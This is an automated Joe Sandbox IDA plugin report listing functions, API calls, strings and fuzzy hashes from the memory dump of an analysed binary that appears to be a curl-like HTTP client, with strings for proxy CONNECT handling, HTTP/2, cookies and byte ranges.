Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: free$_strdupmallocstrcmp$callocfclosestrlen
String ID: P"-
API String ID: 2566626035-2100482176
Opcode ID: b3224cd5097f49924451540cb7768e43431fedf2462ae9071ae01717b2bcbaed
Instruction ID: d97700cc139ce341c9bd81ef24f0eb0eb9a961135bc3cf7bc25d853efb03e998
Opcode Fuzzy Hash: b3224cd5097f49924451540cb7768e43431fedf2462ae9071ae01717b2bcbaed
Instruction Fuzzy Hash: A24153F16043429BEB209B64D885F5BF7E5AFA0314F084C2DE89A97250E775E904DB63

Function 00DCF1A0 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 117stringCOMMON

Download Yara Rule

APIs

strchr.MSVCRT ref: 00DCF1C0
strchr.MSVCRT ref: 00DCF1CD
memset.MSVCRT ref: 00DCF1FE
strlen.MSVCRT ref: 00DCF207
strlen.MSVCRT ref: 00DCF287
realloc.MSVCRT ref: 00DCF2AD
memcpy.MSVCRT(00000001,?,00000001), ref: 00DCF2CC

Strings

Enter %s password for user '%s' on URL #%zu:, xrefs: 00DCF259
proxy, xrefs: 00DCF239, 00DCF258
Enter %s password for user '%s':, xrefs: 00DCF23A

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: strchrstrlen$memcpymemsetrealloc
String ID: Enter %s password for user '%s' on URL #%zu:$Enter %s password for user '%s':$proxy
API String ID: 3824604658-3942158630
Opcode ID: ff9e07a55eb35f32b7bb39a4d8ab082e611485e30fc36929b3b8aea84f424e2d
Instruction ID: 6afdf0f47716b279587ace52dad9c2f3224b0599a1f3ab87cad507f7d1164ffc
Opcode Fuzzy Hash: ff9e07a55eb35f32b7bb39a4d8ab082e611485e30fc36929b3b8aea84f424e2d
Instruction Fuzzy Hash: BB31D0B6A443066BE721A7A49C85FD7768D9FA5758F1C043CF988C7241E671EE0183B2

Function 00DCE610 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 83stringCOMMON

Download Yara Rule

APIs

strstr.MSVCRT ref: 00DCE61E
strrchr.MSVCRT ref: 00DCE631
strlen.MSVCRT ref: 00DCE641
strrchr.MSVCRT ref: 00DCE65C
strrchr.MSVCRT ref: 00DCE674
free.MSVCRT ref: 00DCE6BF
free.MSVCRT ref: 00DCE6D0

Strings

%s/%s, xrefs: 00DCE69B
%s%s, xrefs: 00DCE6A0, 00DCE6AA
://, xrefs: 00DCE618

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: strrchr$free$strlenstrstr
String ID: %s%s$%s/%s$://
API String ID: 3975967694-3147304931
Opcode ID: 868089ef329a912a0f33f44005cc01935715695a170de4fd419e4e096a1c10ca
Instruction ID: ae412ac331f1581fbdf0d4b4a5aa1f415a1fe62a9789e5b9242741130a7b9043
Opcode Fuzzy Hash: 868089ef329a912a0f33f44005cc01935715695a170de4fd419e4e096a1c10ca
Instruction Fuzzy Hash: 1F1166E2B402062BFA1176625C86F6BB29DCFB0655F09043DFD49C7252FA62DD1982F2

Function 00DDC920 Relevance: 16.8, APIs: 1, Strings: 10, Instructions: 290stringCOMMON

Download Yara Rule

APIs

strchr.MSVCRT ref: 00DDC923

Part of subcall function 00DF4290: strlen.MSVCRT ref: 00DF429C

Part of subcall function 00DF7A50: memcpy.MSVCRT(?,?,?), ref: 00DF7AC8

Strings

CONNECT %s HTTP/%s%s%s%s%s, xrefs: 00DDCA2A
Proxy-Connection, xrefs: 00DDC9A7
%s%s%s:%d, xrefs: 00DDC960
Host: %s, xrefs: 00DDC990
CONNECT phase completed!, xrefs: 00DDD1CA, 00DDD27A
Proxy-Connection: Keep-Alive, xrefs: 00DDC9C8
Host, xrefs: 00DDC977
User-Agent, xrefs: 00DDC9D0
Received HTTP code %d from proxy after CONNECT, xrefs: 00DDD357
Connect me again please, xrefs: 00DDD25C

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: memcpystrchrstrlen
String ID: %s%s%s:%d$CONNECT %s HTTP/%s%s%s%s%s$CONNECT phase completed!$Connect me again please$Host$Host: %s$Proxy-Connection$Proxy-Connection: Keep-Alive$Received HTTP code %d from proxy after CONNECT$User-Agent
API String ID: 23922218-2651783483
Opcode ID: d94b120559edfada97844c264b61998e781a9223bef0fc0e70d4a766ab1491a6
Instruction ID: 497f59a6d87b553de397ba09b76cb9c57989db8e6e25f375f0d7bf4c26ce94bb
Opcode Fuzzy Hash: d94b120559edfada97844c264b61998e781a9223bef0fc0e70d4a766ab1491a6
Instruction Fuzzy Hash: E4B1B0B1A043059BDB209F55DC45B6A76EAEF80314F094439FA889B352E3B6DD04CB76

Function 00DE3560 Relevance: 16.6, APIs: 1, Strings: 10, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00DE3572

Strings

.png, xrefs: 00DE35E0
.xml, xrefs: 00DE3676
.html, xrefs: 00DE3648
.txt, xrefs: 00DE3612
.gif, xrefs: 00DE358A
.jpg, xrefs: 00DE35A2
.jpeg, xrefs: 00DE35C5
.pdf, xrefs: 00DE365F
.svg, xrefs: 00DE35FB
.htm, xrefs: 00DE3629

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: strlen
String ID: .gif$.htm$.html$.jpeg$.jpg$.pdf$.png$.svg$.txt$.xml
API String ID: 39653677-1880009484
Opcode ID: 3df27ded9ab63bc3826754a210107dd3a63cf72961bdb2317d87b438f256d78f
Instruction ID: 809cd237c89eab3fd7242b3df4dda92ab86d11d39877e462d63d9e6d020fd3e2
Opcode Fuzzy Hash: 3df27ded9ab63bc3826754a210107dd3a63cf72961bdb2317d87b438f256d78f
Instruction Fuzzy Hash: 6121A75AB1034133FA10BA37AC5EB3E218D8BA5758F09003DF945AB382FA45DB054272

Function 00DC6588 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 129stringCOMMON

Download Yara Rule

APIs

strchr.MSVCRT ref: 00DC65A2

Part of subcall function 00DD9E60: _errno.MSVCRT ref: 00DD9E6D
Part of subcall function 00DD9E60: _errno.MSVCRT ref: 00DD9EE1

free.MSVCRT ref: 00DC65FD
_strdup.MSVCRT(?), ref: 00DC6610
free.MSVCRT ref: 00DC6D81
_strdup.MSVCRT(?), ref: 00DC6DA2

Strings

unsupported range point, xrefs: 00DC8EB6
A specified range MUST include at least one dash (-). Appending one for you!, xrefs: 00DC65C8
Invalid character is found in given range. A specified range MUST have only digits in 'start'-'stop'. The server's response to this request is uncertain., xrefs: 00DC6D63
%I64d-, xrefs: 00DC65E4

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: _errno_strdupfree$strchr
String ID: %I64d-$A specified range MUST include at least one dash (-). Appending one for you!$Invalid character is found in given range. A specified range MUST have only digits in 'start'-'stop'. The server's response to this request is uncertain.$unsupported range point
API String ID: 2455603386-1864133270
Opcode ID: cd7118e6352fdad8adff3511572d9ee8f7b1a5d698bd8620ae275b2de3ad2d8c
Instruction ID: ea2fba73f48f4865b9cf28be82b3b715621f34736e0d144318261a97e6973609
Opcode Fuzzy Hash: cd7118e6352fdad8adff3511572d9ee8f7b1a5d698bd8620ae275b2de3ad2d8c
Instruction Fuzzy Hash: 2741C3B0A043429BDB11DF20DC41FAB77A5AF61344F08047DF985AB292EB22D925DB73

Function 00DCE24F Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00DCA201
fclose.MSVCRT ref: 00DCA233
free.MSVCRT ref: 00DCA24C
free.MSVCRT ref: 00DCE274
free.MSVCRT ref: 00DCE305
free.MSVCRT ref: 00DCE32F
free.MSVCRT ref: 00DCE341
free.MSVCRT ref: 00DCE353

Strings

P"-, xrefs: 00DCE318

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: free$fclose
String ID: P"-
API String ID: 2681820439-2100482176
Opcode ID: fcac6ca92259736d04852ebc883db10cdfe34220d879edb24e0dfe7daa2cc65d
Instruction ID: 76defd3bbddb6e7d2e5dad821d9b37582bb670043db0776d3e7c883fe483f09c
Opcode Fuzzy Hash: fcac6ca92259736d04852ebc883db10cdfe34220d879edb24e0dfe7daa2cc65d
Instruction Fuzzy Hash: 89315EF1A043829BEB209B54D885B5BF7E5AFA0314F088C3DE89A57250E775E904DB63

Function 00DC676E Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 96filestringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 00DC6781
fopen.MSVCRT ref: 00DC679E
free.MSVCRT ref: 00DC6949
_strdup.MSVCRT ref: 00DC695A
free.MSVCRT ref: 00DC6C8A
fclose.MSVCRT ref: 00DC6CB8

Strings

Failed to read %s, xrefs: 00DC6CD6
@, xrefs: 00DC6771
<stdin>, xrefs: 00DC6C76, 00DC6CD5

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: free$_strdupfclosefopenstrcmp
String ID: <stdin>$@$Failed to read %s
API String ID: 4127137438-3931557418
Opcode ID: d77c21b9da4d9c78622fe0b9d8d33f137335d6a2a1c532b21d0aa3d2e081ebca
Instruction ID: 43fe3fea548dc76e719e45164f6640f4df1ccd21efa3f18eefaddc4b913fcc2b
Opcode Fuzzy Hash: d77c21b9da4d9c78622fe0b9d8d33f137335d6a2a1c532b21d0aa3d2e081ebca
Instruction Fuzzy Hash: 6A31B3F1A042029FDB21AF54DC45F5AB7A5EFA0315F180128F8C697281EB36DD60D772

Function 00DC2510 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 65filestringCOMMON

Download Yara Rule

APIs

fopen.MSVCRT ref: 00DC2536
fclose.MSVCRT ref: 00DC2543
strerror.MSVCRT ref: 00DC254F
fopen.MSVCRT ref: 00DC2578
_errno.MSVCRT ref: 00DC25BA
strerror.MSVCRT ref: 00DC25C2

Strings

Failed to create the file %s: %s, xrefs: 00DC25CC
Refusing to overwrite %s: %s, xrefs: 00DC2559
Remote filename has no length!, xrefs: 00DC2560

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: fopenstrerror$_errnofclose
String ID: Failed to create the file %s: %s$Refusing to overwrite %s: %s$Remote filename has no length!
API String ID: 729476436-2765071892
Opcode ID: c94557fe7809acf9c23a3cfec6214c79ffc76023648d0b6e1176e7faa1f7459a
Instruction ID: 302997ad9b214cad0005bb987d2fa11b69f7af49b7449df806170b1f60459f63
Opcode Fuzzy Hash: c94557fe7809acf9c23a3cfec6214c79ffc76023648d0b6e1176e7faa1f7459a
Instruction Fuzzy Hash: 141181F1A00602ABE7009B61EC59F677BA4AF54714F18402DEC4497641FBB5F994CBF2

Function 00DCF2F0 Relevance: 15.1, APIs: 5, Strings: 5, Instructions: 54stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 00DCF2FF
strcmp.MSVCRT ref: 00DCF315
strcmp.MSVCRT ref: 00DCF327
strcmp.MSVCRT ref: 00DCF339
strcmp.MSVCRT ref: 00DCF34B

Strings

1.2, xrefs: 00DCF333
1.3, xrefs: 00DCF345
default, xrefs: 00DCF2F9
1.1, xrefs: 00DCF321
1.0, xrefs: 00DCF30F

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: strcmp
String ID: 1.0$1.1$1.2$1.3$default
API String ID: 1004003707-1496453511
Opcode ID: 7bef9407788a6504462df0ccd435054245c5bc2ac688828421ed55aaafeccdb7
Instruction ID: 690dabce47c0a70d78b312b48f2695eda01d9a32399b2fe6c2379a74b1ad1644
Opcode Fuzzy Hash: 7bef9407788a6504462df0ccd435054245c5bc2ac688828421ed55aaafeccdb7
Instruction Fuzzy Hash: A601D1A1B0562337DE1563B56D11FEE228A9F61301F08403DFCC4EB6A0E625CF4182B2

Function 00DC60DE Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 115stringfileCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 00DC60F3
fopen.MSVCRT ref: 00DC610D
strtok.MSVCRT(?,01054411), ref: 00DC6C2C
strtok.MSVCRT(00000000,01054411), ref: 00DC6C65
free.MSVCRT ref: 00DC71C5
fclose.MSVCRT ref: 00DC71D5

Strings

Failed to open %s!, xrefs: 00DC6D17
p, xrefs: 00DC6C3E

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: strtok$fclosefopenfreestrcmp
String ID: Failed to open %s!$p
API String ID: 2714433378-325265304
Opcode ID: 70b1993faef8cf01212e8ce1c79d8b618c36cc774866016177379b5f1a30d8db
Instruction ID: a861ff0fb4adba61e3086ad5836d5e5fdff8d6dfd61f6c8808d2c9b1c55def70
Opcode Fuzzy Hash: 70b1993faef8cf01212e8ce1c79d8b618c36cc774866016177379b5f1a30d8db
Instruction Fuzzy Hash: 5F31D1B1A08303ABEB119A649C81F6B77E99FA0344F1C492CF889D7251FA31DC40DB72

Function 00DE0020 Relevance: 13.7, APIs: 1, Strings: 8, Instructions: 229COMMON

Download Yara Rule

Strings

nghttp2_session_send() failed: %s(%d), xrefs: 00DE032D
connection buffer size is too small to store data following HTTP Upgrade response header: buflen=%zu, datalen=%zu, xrefs: 00DE01D6
Copying HTTP/2 data in stream buffer to connection buffer after upgrade: len=%zu, xrefs: 00DE01E1
nghttp2_session_mem_recv() failed: %s(%d), xrefs: 00DE023D
http/2: failed to set user_data for stream %d!, xrefs: 00DE017E
nghttp2_session_upgrade() failed: %s(%d), xrefs: 00DE00C2
nghttp2_session_set_local_window_size() failed: %s(%d), xrefs: 00DE01B5
nghttp2_submit_settings() failed: %s(%d), xrefs: 00DE0155

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID:
String ID: Copying HTTP/2 data in stream buffer to connection buffer after upgrade: len=%zu$connection buffer size is too small to store data following HTTP Upgrade response header: buflen=%zu, datalen=%zu$http/2: failed to set user_data for stream %d!$nghttp2_session_mem_recv() failed: %s(%d)$nghttp2_session_send() failed: %s(%d)$nghttp2_session_set_local_window_size() failed: %s(%d)$nghttp2_session_upgrade() failed: %s(%d)$nghttp2_submit_settings() failed: %s(%d)
API String ID: 0-1573709828
Opcode ID: 04e65bba2170a4e5af1c5179664ddb2d8ed9f3b9507c766a5c05dbd9cba4cce2
Instruction ID: fe3e53a959b3141fa5ad7a44f8abdc8ecfcf3815aa8c41812bae8d68b2eb65f3
Opcode Fuzzy Hash: 04e65bba2170a4e5af1c5179664ddb2d8ed9f3b9507c766a5c05dbd9cba4cce2
Instruction Fuzzy Hash: D381C9B5600685AFDB21AF11DC45BEB7BA9FF14304F084128FD989F251E7B19990CBA1

Function 00E03F40 Relevance: 13.6, APIs: 4, Strings: 5, Instructions: 104stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00E04002
strlen.MSVCRT ref: 00E04038
strlen.MSVCRT ref: 00E0406B
strlen.MSVCRT ref: 00E0409D

Strings

gzip, xrefs: 00E03F7F, 00E0404F
ate, xrefs: 00E0402A
identity, xrefs: 00E03F42, 00E03F47, 00E03F60, 00E03F7A, 00E03F94, 00E03FAE, 00E03FD8, 00E03FDD, 00E04014, 00E0404A, 00E0407D
tity, xrefs: 00E03FF4
deflate, xrefs: 00E03F65, 00E04019

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: strlen
String ID: ate$deflate$gzip$identity$tity
API String ID: 39653677-1128341356
Opcode ID: 425dbe7bc26a743afa24aaa0b6769a494c57230cc64f7bf9d32fa09382b01445
Instruction ID: 097a08eab85446f609ed22d85370cc7d4cb72247a0a90be35f26babdc8c0afc9
Opcode Fuzzy Hash: 425dbe7bc26a743afa24aaa0b6769a494c57230cc64f7bf9d32fa09382b01445
Instruction Fuzzy Hash: 9031F2E5E9031277E721AB626D077577298AF50B09F054029ED94AA341E3E1AA2483FB

Function 00DEF7C1 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 202filestringCOMMON

Download Yara Rule

APIs

fopen.MSVCRT ref: 00DEF7D0
fgets.MSVCRT ref: 00DEF88B
strlen.MSVCRT ref: 00DEF8B1
fgets.MSVCRT ref: 00DEF970
time.MSVCRT(00000000), ref: 00DEF9BC
fclose.MSVCRT ref: 00DEFADD

Strings

Set-Cookie:, xrefs: 00DEF912

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: fgets$fclosefopenstrlentime
String ID: Set-Cookie:
